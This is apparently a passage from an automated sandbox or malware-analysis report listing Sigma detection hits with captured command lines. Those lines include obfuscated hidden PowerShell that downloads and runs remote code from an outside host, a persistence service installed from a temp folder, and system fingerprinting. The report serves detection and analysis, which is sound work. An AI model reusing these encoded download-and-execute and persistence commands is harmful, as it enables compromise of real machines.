IAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA, CommandLine: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -Execution

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQ

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6604, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 3056, ProcessName: sc.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Source: Event Logs

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro: Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 901cbe06-cf0e-4813-8e1f-2426acbccc52 Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = abb7402f-160d-4de2-9c20-dfd4291d26fa Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 901cbe06-cf0e-4813-8e1f-2426acbccc52 Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = abb7402f-160d-4de2-9c20-dfd4291d26fa Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms"

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8220, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 2376, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQ

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4588, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline", ProcessId: 8364, ProcessName: csc.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA==" , CommandLine: pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBB